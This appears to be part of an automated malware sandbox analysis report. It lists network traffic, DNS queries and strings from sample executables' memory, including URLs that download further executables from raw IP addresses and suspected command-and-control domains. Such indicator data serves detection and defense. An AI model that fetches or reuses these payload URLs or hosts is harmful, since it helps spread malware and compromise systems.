Source: global traffic	HTTP traffic detected: GET /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: sextipolar.sbsCache-Control: no-cacheCookie: _subid=2aviuam2be2o6; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0
Source: global traffic	HTTP traffic detected: GET /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /upd/index.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: pofix.redCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/getimage15.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: GET /ext/adsupressor.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache

Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb`,]q equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `,]q#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: dod.fastbutters.com
Source: global traffic	DNS traffic detected: DNS query: pofix.red
Source: global traffic	DNS traffic detected: DNS query: vk.com
Source: global traffic	DNS traffic detected: DNS query: sextipolar.sbs
Source: global traffic	DNS traffic detected: DNS query: zanzibarpivo.com
Source: global traffic	DNS traffic detected: DNS query: monoblocked.com
Source: global traffic	DNS traffic detected: DNS query: triedchicken.net
Source: global traffic	DNS traffic detected: DNS query: carthewasher.net
Source: global traffic	DNS traffic detected: DNS query: cheremushki.net
Source: global traffic	DNS traffic detected: DNS query: f.123654987.xyz
Source: global traffic	DNS traffic detected: DNS query: sun6-23.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-20.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-21.userapi.com
Source: global traffic	DNS traffic detected: DNS query: iplis.ru
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com

Source: unknown

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 01 May 2024 18:26:14 GMTContent-Type: text/html; charset=utf-8Connection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 01 May 2024 18:26:13 GMTSet-Cookie: _subid=2aviuam2be2o6; expires=Sat, 01 Jun 2024 18:26:13 GMT; path=/Set-Cookie: 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0; expires=Thu, 01 Sep 2078 12:52:26 GMT; path=/Vary: Accept-EncodingCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 87d1d192fd556ff2-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 01 May 2024 18:26:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 01 May 2024 18:26:14 GMTSet-Cookie: _subid=2aviuam2be2oo; expires=Sat, 01 Jun 2024 18:26:15 GMT; path=/Set-Cookie: 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0; expires=Thu, 01 Sep 2078 12:52:30 GMT; path=/Vary: Accept-EncodingCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 87d1d1999f3f8238-IAD

Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/dl.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.139/rumba/buben.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.139/rumba/buben.exe(
Source: tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.139/rumba/buben.exe9
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exe0.1
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe192.168.06
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/api/flash.php
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/api/flash.phpf
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exed
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exei
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exez
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phpk
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phpw
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpK
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpW
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phphp
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpz
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php#
Source: tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php-
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php;
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.phpj
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpeg
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegAppData
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegG
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegK
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegdg
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegh
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpeghttp://5.42.66.10/ext/adsupressor.pngC:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.png
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.png.jpe
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/r
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10:80/api/flash.php
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
